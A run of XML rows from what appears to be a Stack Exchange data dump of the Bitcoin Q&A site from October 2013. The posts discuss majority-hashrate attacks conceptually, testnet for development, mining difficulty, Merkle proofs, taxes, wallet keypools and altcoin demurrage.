  <row Id="13756" PostTypeId="2" ParentId="12660" CreationDate="2013-10-14T06:29:16.857" Score="2" Body="&lt;p&gt;If the attacker has minority hashrate, I don't think this is much of a problem. If he excludes all transactions in his blocks but doesn't try to orphan other blocks, the worst thing that can happen is a x2 increase in the average time until first confirmation (no effect on subsequent confirmations). This is fairly minor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the attacker has majority hashrate, he can orphan all other blocks and exclude all transactions, and then transactions will never be confirmed. This is a problem and the main variant of the &gt;50% attack. Possible solutions include modifying the branch selection mechanism to prefer blocks with more high-priority transactions - meaning that even with majority hashrate, if you try to deny transaction you're not guaranteed to beat the honest branch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Incidentally, if the attacker has &gt;40% hashrate, there is a technique to amplify his hashrate and get more than his fair share of blocks. So if, say, he has 49% hashrate and used this technique, he can get close to 100% of blocks, significantly delaying tx confirmation.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-10-14T06:29:16.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13757" PostTypeId="1" AcceptedAnswerId="13761" CreationDate="2013-10-14T07:36:03.023" Score="1" ViewCount="1134" Body="&lt;p&gt;is there something like the paypal sandbox test accounts for coinbase that I could use to test the app that I'm developing?&lt;/p&gt;&#xA;" OwnerUserId="7086" LastActivityDate="2014-02-26T18:42:10.177" Title="developing an app that integrates with bitcoin" Tags="|coinbase.com|php|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13758" PostTypeId="2" ParentId="13741" CreationDate="2013-10-14T07:59:19.407" Score="2" Body="&lt;p&gt;It won't matter. The difficulty will rise until the most efficient miners can't make a significant profit. What inefficient miners do has no effect because their actions are balanced out by efficient miners.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, take the most efficient mining setup widely available and compute the difficulty at which it just breaks even. Market forces will, over time, push the difficulty to be a bit less than that. If the difficulty is more than that, efficient miners will leave, reducing the difficulty. If the difficulty is less than that, efficient miners will enter, raising it.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-10-14T07:59:19.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13759" PostTypeId="2" ParentId="13757" CreationDate="2013-10-14T08:14:58.857" Score="1" Body="&lt;p&gt;Somewhat yes. Bitcoin has a &lt;a href=&quot;https://en.bitcoin.it/wiki/Testnet&quot; rel=&quot;nofollow&quot;&gt;Testnet&lt;/a&gt; that is a fully functioning Bitcoin network (you can even mine on it) but isn't really traded for money. It's safe to use and send transactions to.&lt;/p&gt;&#xA;" OwnerUserId="5696" LastActivityDate="2013-10-14T08:14:58.857" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13760" PostTypeId="2" ParentId="13742" CreationDate="2013-10-14T08:19:03.490" Score="0" Body="&lt;p&gt;Perhaps it's so that they build up a large initial userbase and then they could add a small fee when everybody is using their API (where it wouldn't be worth changing to a new provider).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or possibly simply that they're good guys? blockchain.info seem to have done quite a lot for the community and their site is basically &lt;em&gt;the&lt;/em&gt; place to go for transaction information. Maybe they'll get some good karma, get the word spread and maybe gain some potential customers who want to additional services like their wallet?&lt;/p&gt;&#xA;" OwnerUserId="5696" LastActivityDate="2013-10-14T08:19:03.490" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13761" PostTypeId="2" ParentId="13757" CreationDate="2013-10-14T08:19:58.167" Score="2" Body="&lt;p&gt;If you are integrating with bitcoin directly, then you can use the bitcoin testnet (&lt;a href=&quot;https://en.bitcoin.it/wiki/Testnet&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Testnet&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using a payment processor, Coinbase does not have sandbox feature like PayPal, although they have expressed interest in creating one based on bitcoin's testnet.  Coinbase does allow sending test payment notifications (IPN) from their merchant settings page (&lt;a href=&quot;https://coinbase.com/merchant_settings&quot; rel=&quot;nofollow&quot;&gt;https://coinbase.com/merchant_settings&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitpay's FAQ (&lt;a href=&quot;https://bitpay.com/faq&quot; rel=&quot;nofollow&quot;&gt;https://bitpay.com/faq&lt;/a&gt;) states that they too do not have a sandbox, and advises testing with small amounts of BTC.&lt;/p&gt;&#xA;" OwnerUserId="3067" LastActivityDate="2013-10-14T08:19:58.167" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13762" PostTypeId="2" ParentId="10696" CreationDate="2013-10-14T08:42:11.380" Score="15" Body="&lt;p&gt;To see how it simplifies verification, consider that in order to verify a transaction T is part of the blockchain, the verifier has to get from the transaction hash to the merkle root. If there are n transaction, there are log_2(n) levels to climb in the merkle tree, so to speak. To climb from the transaction T's hash to its parent P, we only need its sibling, since that is how the tree is built. Then to climb the next level we only need the sibling of the parent we calculated P, and so forth. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To climb all log_2(n) levels of the tree we only need T's hash plus log_2(n) extra hashes (including the merkle root). If we did a linear concatenation of blocks, we would need much more information than log_2(n) &amp;lt;&amp;lt; n&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this article helpful for illustration:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Merged_mining_specification#Merkle_Branch&quot;&gt;https://en.bitcoin.it/wiki/Merged_mining_specification#Merkle_Branch&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps &lt;/p&gt;&#xA;" OwnerUserId="7087" LastActivityDate="2013-10-14T08:42:11.380" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13763" PostTypeId="1" CreationDate="2013-10-14T10:00:15.677" Score="3" ViewCount="613" Body="&lt;p&gt;I turned some profit when trading bitcoin on Bitcurex - likely enough to exceed the tax-free income value in Poland. That likely would mean I should declare the profits in my tax return forms and pay income tax on them, but I have no clue how they are classified and taxed in Poland. Do I have to pay tax on my profits? If so, how do I calculate how much to pay? Where do I fill it in, on my PIT forms?&lt;/p&gt;&#xA;" OwnerUserId="4101" LastActivityDate="2018-03-07T10:53:26.357" Title="How are bitcoin trade profits taxed in Poland?" Tags="|taxes|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="13764" PostTypeId="1" CreationDate="2013-10-14T10:58:27.970" Score="3" ViewCount="2187" Body="&lt;p&gt;I've been reading about how BitCoin works for a few weeks now - and I'm trying to understand under-the-hood how the cryptography works. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i'll explain what I know at the moment - and if someone could clear it up for me? Or provide links to papers that may explain it a bit better (I've read the original bitcoin.pdf, but it is a bit vague)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scenario:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an address (pk, sk).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a previous transaction tx that contains 1 bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I create a new address (pk', sk') that I want to send the bitcoin too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hash the new public key pk' with the previous transaction tx such that hash(pk', tx) = h1. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I sign the hashed transaction h1 using my secret key and some 'randomness' r. Sign&quot;sk&quot;(h1, r)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then - this gets broadcasted and gets put inside a block by a Bitcoin miner? &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Also, if I was to send two 0.5 bitcoins to pk' I would do the following...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tx1 and tx2 are associated with 0.5 bitcoins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then hash tx1 and tx2 with the new public key pk' such that hash(tx1, pk') = h1 and hash(tx2, pk') = h2. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then sign both of these hashes using the following function... Sign&quot;sk&quot;(h1, h2, r) or would it be Sign&quot;sk&quot;(h1,r), Sign&quot;sk&quot;(h2,r'). (different randomness for each signature)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;This may be a silly question.. but I have been finding it difficult to get some clarity on how it works. I also understand that some characters (such as i and 0) are not included in the hash - does this refer to base 58 ? &lt;/p&gt;&#xA;" OwnerUserId="7091" LastActivityDate="2013-11-13T12:05:51.593" Title="Step by Step - how does sending 1 bitcoin work?" Tags="|transactions|address|cryptography|signature|sending|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13765" PostTypeId="2" ParentId="13764" CreationDate="2013-10-14T11:18:15.583" Score="2" Body="&lt;p&gt;You probably would find it helpful to peruse the technical articles on the Bitcoin Wiki.  Here are some starting points based on your questions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Address&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Address&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Transaction&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Script&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Network&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Network&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Block&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Block&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One concept you did not mention but which is crucial to understanding how it works at a low level is the fact that transactions are verified by running Scripts (see link above).&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2013-10-14T11:18:15.583" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13767" PostTypeId="2" ParentId="2967" CreationDate="2013-10-14T12:28:01.037" Score="1" Body="&lt;p&gt;It appears that some strongest players - e.g. manufacturers of ASIC devices - purposely give up their chance at monopoly in exchange for immediate profit (sell their devices to multiple customers) - precisely to increase the reliability of the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While the network is vulnerable to the &quot;51% attack&quot;, its result will be an immediate, catastrophic and permanent crash of the bitcoin economy. All of the investment in hardware that let whoever did it achieve the 51% hashpower will be irrevocably lost - as they will be able to dominate the market for a worthless resource, compromised bitcoin being deprived of any value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The big players understand it and willingly give up a part of their hashing power, simply to keep Bitcoin strong, reliable, and desired - keeping the prices up. That way they produce less but earn more simply because that unit is more valuable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, it is in best interest of anyone producing or owning a lot of bitcoin to keep the bitcoin network running smoothly = keep value of bitcoins they produce/have high. Bitcoin is a network of trust; break that trust and it loses all value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Such an attack would be possible e.g. by a financial institution with a grudge against Bitcoin, or some government. It would be costly but its only returns would be in whatever profit destroying bitcoin entirely would bring. Any immediate profits of corrupting the transaction process would be relatively small, and very short-lived compared to the damages (including own hardware becoming worthless) - so it is in best interest of anyone holding any power capable of doing it not to do it - a powerful economic incentive against this.&lt;/p&gt;&#xA;" OwnerUserId="4101" LastActivityDate="2013-10-14T12:28:01.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13769" PostTypeId="1" CreationDate="2013-10-14T15:36:18.477" Score="0" ViewCount="6892" Body="&lt;p&gt;I'm trying to mine for slush's pool with GUIminer. The miner says that I am mining, and gives me a mhash number, but says that no matter how long I mine, I still have 0 shares.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/kBw8M.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The pool says that I have no mhash input to the pool.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/3yij0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance, bark&lt;/p&gt;&#xA;" OwnerUserId="7094" LastEditorUserId="5406" LastEditDate="2016-04-28T14:12:13.937" LastActivityDate="2017-10-09T16:20:53.343" Title="GUI miner not working properly (slush's pool)" Tags="|security|miner-configuration|gpu-mining|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13771" PostTypeId="2" ParentId="9591" CreationDate="2013-10-14T21:14:47.667" Score="-1" Body="&lt;p&gt;Another option would be &lt;a href=&quot;http://ice3x.co.za&quot; rel=&quot;nofollow&quot;&gt;www.ice3x.co.za&lt;/a&gt;. You can not sell bitcoin there but you are able to buy. Payments via EFT and there is a physical business address and phone number.&lt;/p&gt;&#xA;" OwnerUserId="7097" LastEditorUserId="105" LastEditDate="2013-10-15T19:34:27.243" LastActivityDate="2013-10-15T19:34:27.243" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13772" PostTypeId="2" ParentId="13748" CreationDate="2013-10-15T05:02:34.097" Score="1" Body="&lt;p&gt;Now, no. In the past before GPU mining when everyone was mining with CPUs the more CPU power you had the faster you could mine. The problem was that the exchange rate was so low that it wasn't profitable at the time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you had mined then and lost money you would have made up the difference at current market prices.&lt;/p&gt;&#xA;" OwnerUserId="7099" LastActivityDate="2013-10-15T05:02:34.097" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13773" PostTypeId="2" ParentId="13742" CreationDate="2013-10-15T08:23:30.247" Score="1" Body="&lt;p&gt;The fees are about 1 cent per transaction - a small price to pay for attracting customers who may later use their paid services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Offering a service for free to expose a product with paid premium features is a popular online monetization model, also known as &quot;Freemium&quot;.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-10-15T08:23:30.247" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13774" PostTypeId="1" AcceptedAnswerId="13777" CreationDate="2013-10-15T09:27:20.257" Score="4" ViewCount="564" Body="&lt;p&gt;A few minutes ago I received 0.00000001 BTC. I don't know who sent them or why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what makes it crazy is, this sum was sent to an address I do not own and which the client I'm running (the standard Bitcoin-QT, versione 0.8.5) had never heard of before. I know this for sure because I only created 2 (two) addresses using this client, and the receiving address of this transaction is not one of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is this possible at all?&lt;br&gt;&#xA;Is it a hash collision, or what else?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The address is &lt;code&gt;1Cz2AmLe8U52KR549d13JQkqsqkV64RchB&lt;/code&gt; and the transaction ID is &lt;code&gt;b9591410ff030e40deb3eda9d2fe30a29642ede443f354bb5f4ed5bb55f0d36d&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;http://blockexplorer.com/address/1Cz2AmLe8U52KR549d13JQkqsqkV64RchB&quot; rel=&quot;nofollow&quot;&gt;this page&lt;/a&gt;, the address seems to have received money a little time before from &lt;code&gt;1HTawQNCS4axPXft6L6fkzrv5ya7TguqwD&lt;/code&gt;, which actually &lt;em&gt;is&lt;/em&gt; one of my addresses; the last two transactions are me sending all my BTCs to a new address, just to be sure. This worked, so it looks like I'm actually the owner of that address, even if my client doesn't list it as one of mine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's &lt;em&gt;exactly&lt;/em&gt; going on here?&lt;/p&gt;&#xA;" OwnerUserId="1311" LastEditorUserId="1311" LastEditDate="2013-10-15T11:02:13.800" LastActivityDate="2013-10-15T14:37:56.010" Title="How the hell was I able to receive BTCs via an address I do not own?" Tags="|transactions|bitcoin-core|address|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13776" PostTypeId="2" ParentId="13774" CreationDate="2013-10-15T10:36:35.110" Score="0" Body="&lt;p&gt;Bitcoin-qt has always at least 100 unused addresses in store. You probably received the payment to one of those.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it were a hash collision that would very disconcerting, it might indicate that there is also trouble with the randomness in the standard libraries used by bitcoin-qt.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2013-10-15T10:36:35.110" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13777" PostTypeId="2" ParentId="13774" CreationDate="2013-10-15T10:47:28.650" Score="3" Body="&lt;p&gt;As Murch says one possibility is that this address is in your keypool. Another is that this is a change address the client created. If you're willing to share the relevant transaction we may have more to say.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Owning an address means &quot;being in unique possession of a corresponding private key&quot;. It's difficult to know if you're the only owner, but verifying you have a key is easy - ask bitcoin-qt to sign a message with this address.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-10-15T10:47:28.650" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="13778" PostTypeId="2" ParentId="4243" CreationDate="2013-10-15T13:01:45.550" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://eircoin.net&quot; rel=&quot;nofollow&quot;&gt;Eircoin.net&lt;/a&gt; is one option I used before. The response was prompt and the whole transaction (despite a mistake on my part) went almost instantaneous. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://localbitcoins.com/&quot; rel=&quot;nofollow&quot;&gt;Localbitcoins&lt;/a&gt; is another possibility if you want to trade in cash within your neighbourhood.&lt;/p&gt;&#xA;" OwnerUserId="7104" LastActivityDate="2013-10-15T13:01:45.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13779" PostTypeId="1" AcceptedAnswerId="13805" CreationDate="2013-10-15T13:51:06.060" Score="4" ViewCount="2130" Body="&lt;p&gt;How I can validate a standard bitcoin address? &lt;/p&gt;&#xA;" OwnerUserId="7106" LastEditorUserId="50821" LastEditDate="2018-09-22T14:41:18.063" LastActivityDate="2018-09-22T14:41:18.063" Title="How to validate bitcoin address" Tags="|address|validation|checksum|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="13780" PostTypeId="1" AcceptedAnswerId="13800" CreationDate="2013-10-15T14:10:26.937" Score="3" ViewCount="4368" Body="&lt;p&gt;Is there any centralized cryptocurrency? Is cryptocurrency a Bitcoin oriented concept only? From what i read almost all of the cryptocurrencies are derivatives of Bitcoin. &lt;/p&gt;&#xA;" OwnerUserId="7107" LastActivityDate="2016-12-30T17:32:31.810" Title="Is there any centralized cryptocurreny?" Tags="|currencies|decentralization|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13781" PostTypeId="1" CreationDate="2013-10-15T14:35:15.110" Score="1" ViewCount="266" Body="&lt;p&gt;There is a software product that I'm interested in purchasing a license for.  I sent an email to their customer service asking if they would be interested in accepting Bitcoin.  Software licences seem an ideal use of Bitcoin since there is not physical product to ship.  Since the product is &quot;virtual&quot;, why shouldn't the payment be &quot;virtual&quot; too?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They emailed me back the question &quot;What is bitcoin?&quot; What is the best way to answer them?  Is there a blog or web page that is specifically designed for this situation?&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2013-10-16T15:18:06.017" Title="How to answer merchant who asks &quot;What is Bitcoin?&quot;" Tags="|merchants|education|" AnswerCount="2" CommentCount="1" ClosedDate="2013-10-31T08:41:47.407" ContentLicense="CC BY-SA 3.0" />
  <row Id="13782" PostTypeId="2" ParentId="13774" CreationDate="2013-10-15T14:37:56.010" Score="0" Body="&lt;p&gt;Check if that address appeared on the blockchain before that mystery payment.  If it does, they could have gotten it from there.  Also if you used it as a change address for a payment to someone, maybe you overpaid and they are refunding your overpayment (possibly in an automated process)&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2013-10-15T14:37:56.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13783" PostTypeId="2" ParentId="13780" CreationDate="2013-10-15T16:10:36.507" Score="1" Body="&lt;p&gt;I think you are correct that almost all of the cryptocurrencies are derivatives of Bitcoin.  From that fact it would follow that they would all be decentralized.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, there are centralized aspects of cryptocurrencies, including Bitcoin.  For example, online wallets, exchanges and mining pools are all centralized.&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2013-10-15T16:10:36.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13784" PostTypeId="1" CreationDate="2013-10-15T16:32:43.407" Score="4" ViewCount="329" Body="&lt;p&gt;What is Virtual Currency is trying to solve, and how is it trying to solve them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many users of virtual currency (BTC, XRP, etc) talk about a corrupt banking system, and many other ideals, but I'd like to clearly see what specific problems its solving, or might potentially solve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that people's argument against &quot;fiat&quot; is being muddled with too many &quot;benefits&quot; of Bitcoin and so I'm looking for straight answers as to how Virtual Currency &quot;fixes&quot; the banking system. I'm not trying to debate Fiat vs non-fiat, but to really just get a list of problems solved with Bitcoin and virtual currency.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditDate="2013-11-29T17:03:56.423" LastActivityDate="2013-11-29T17:03:56.423" Title="What are the specific problems that Virtual Currency is solving? (in the Banking system, economics, and finance )" Tags="|economic-theory|privacy|currencies|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13785" PostTypeId="1" CreationDate="2013-10-15T16:54:11.827" Score="4" ViewCount="1034" Body="&lt;p&gt;Bitcoin has no way of knowing if a given Bitcoin is &quot;expired&quot; or has a &lt;a href=&quot;https://bitcoin.stackexchange.com/q/5696/1878&quot;&gt;Base58 address that no one has a key for&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way of ensuring that coins are never lost is to expire coins and add them back to the coinbase at some future date.  People with active keys would simply move all the coins to a new address within a 5 to 10 year period.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Has anyone explored the pros or cons of this, how it impacts &lt;a href=&quot;https://bitcoin.stackexchange.com/q/6025/1878&quot;&gt;velocity of money&lt;/a&gt;?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;A few benefits off the top of my head include&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Forced upgrade of all coins to better newer technology (SCrypt, Sha512, etc)&lt;/li&gt;&#xA;&lt;li&gt;Better analysis and less speculation of the network (coins in circulation is constant)&lt;/li&gt;&#xA;&lt;li&gt;More incentives to mine after the 21 million BTC mark is reached&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; I'm not proposing a change to Bitcoin, but want to see if any Alt-coins have researched this area.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2014-06-17T21:44:15.643" Title="Do any Virtual Currencies use coins that have an expiration date?" Tags="|protocol|alternatives|economic-theory|" AnswerCount="5" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13786" PostTypeId="1" CreationDate="2013-10-15T18:53:59.337" Score="1" ViewCount="981" Body="&lt;p&gt;I'm looking into generating addresses outside of Armory using &lt;a href=&quot;https://github.com/prusnak/addrgen&quot; rel=&quot;nofollow&quot;&gt;https://github.com/prusnak/addrgen&lt;/a&gt;. It requires a master public key which I can't seem find. Does anybody know where I might find it or is Armory not compatible such a system?&lt;/p&gt;&#xA;" OwnerUserId="7108" LastActivityDate="2014-06-12T23:29:58.100" Title="Armory - Master Public Key" Tags="|armory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13787" PostTypeId="2" ParentId="13786" CreationDate="2013-10-15T19:50:52.757" Score="1" Body="&lt;p&gt;AFAIK Electrum is the only client that supports Master Public Keys as of now. Electrum uses a deterministic seed and also have an MPK that can derive bitcoin addresses that belongs to that seed. So people can generate addresses to receive, but can't spend from them; this is called a seedless wallet.&lt;/p&gt;&#xA;" OwnerUserId="2467" LastActivityDate="2013-10-15T19:50:52.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13788" PostTypeId="1" CreationDate="2013-10-15T21:50:50.560" Score="1" ViewCount="539" Body="&lt;p&gt;Many have asked if the exchange of BTC for USD is legal, and they will cry &quot;legal&quot; and simultaneously cite FinCEN's regulations for a MSB. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, they never explain if an individual trading BTC for USD (at, say, Mt. Gox or something of the like) is considered an MSB. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone &lt;strong&gt;EXPLAIN&lt;/strong&gt; why it is legal/illegal for an individual to exchange (not run an exchange, but be the customer) BTC for USD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="7111" LastActivityDate="2013-10-24T16:57:32.717" Title="Need an explanation as to why the exchange of BTC for USD is legal" Tags="|exchanges|mtgox|legal|trade|fincen|" AnswerCount="3" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="13789" PostTypeId="2" ParentId="13785" CreationDate="2013-10-15T22:56:44.713" Score="0" Body="&lt;p&gt;I remember some altcoin that discouraged hoarding by having the coins gradually lose value over time.  That way when you get them you'll spend them as soon as possible.  But I forget which one it was.&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2013-10-15T22:56:44.713" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13790" PostTypeId="2" ParentId="13785" CreationDate="2013-10-15T23:01:55.677" Score="1" Body="&lt;p&gt;Freicoin has demurrage, as mentioned in other answer, it discouraged hoarding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Demurrage forces freicoins to circulate at deliberately high rates.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://freico.in&quot; rel=&quot;nofollow&quot;&gt;http://freico.in&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2467" LastActivityDate="2013-10-15T23:01:55.677" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13791" PostTypeId="2" ParentId="13784" CreationDate="2013-10-15T23:11:44.733" Score="4" Body="&lt;p&gt;Some problems that come to mind with the fiat banking system are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Transactions are never really &quot;final&quot; (unless you use cash) since banks or credit cards can &quot;charge back&quot; or &quot;reverse&quot; them at any future time simply because they take the side of your counter-party, often without even listening to your side&lt;/li&gt;&#xA;&lt;li&gt;The justice system can take your money at any time.  If a court decides that your money may have been ill-gotten or that you owe someone else money (due to a lawsuit or divorce for example) they can unilaterally take as much as they see fit.&lt;/li&gt;&#xA;&lt;li&gt;The legislative system can take your money at any time.  If a legislative body determines that it needs your money for some urgent need (such as to pay back national debt, as happened in Cyprus) they can unilaterally take as much as they see fit.&lt;/li&gt;&#xA;&lt;li&gt;The bank themselves can take your money at any time (for example if they see your business as &quot;risky&quot; or suspect you of making money illegitimately).&lt;/li&gt;&#xA;&lt;li&gt;The bank can (and virtually always does) limit your ability to access your own money.  They can make up rules about how much of your money you can withdraw in a certain time and question your purposes before allowing you to withdraw large amounts.&lt;/li&gt;&#xA;&lt;li&gt;The banks, government agencies and potentially hackers have access to your transactions... who paid you, and who you paid and when.&lt;/li&gt;&#xA;&lt;li&gt;Legislative and executive bodies in the government can change the value of your money at any time by manipulating interest rates and the money supply&lt;/li&gt;&#xA;&lt;li&gt;Banks and governments can (and virtually always do) limit your ability to move your money across national borders. And even when they allow it, they charge banking and exchange fees, delay your transaction significantly, and subject it to increased scrutiny and record-keeping&lt;/li&gt;&#xA;&lt;li&gt;Banks and governments can (and do) limit your ability to transact with anyone you want. If there is someone they want to starve of funding they will prevent you from paying them.&lt;/li&gt;&#xA;&lt;li&gt;Banks allow a &quot;pull&quot; model of transaction.  In other words, not only you but anyone else can initiate a payment out of your account.  As long as the bank believes the transaction to be legitimate they will allow someone else to reach into your account and take your money.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4708" LastEditorUserId="4708" LastEditDate="2013-10-15T23:20:41.790" LastActivityDate="2013-10-15T23:20:41.790" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
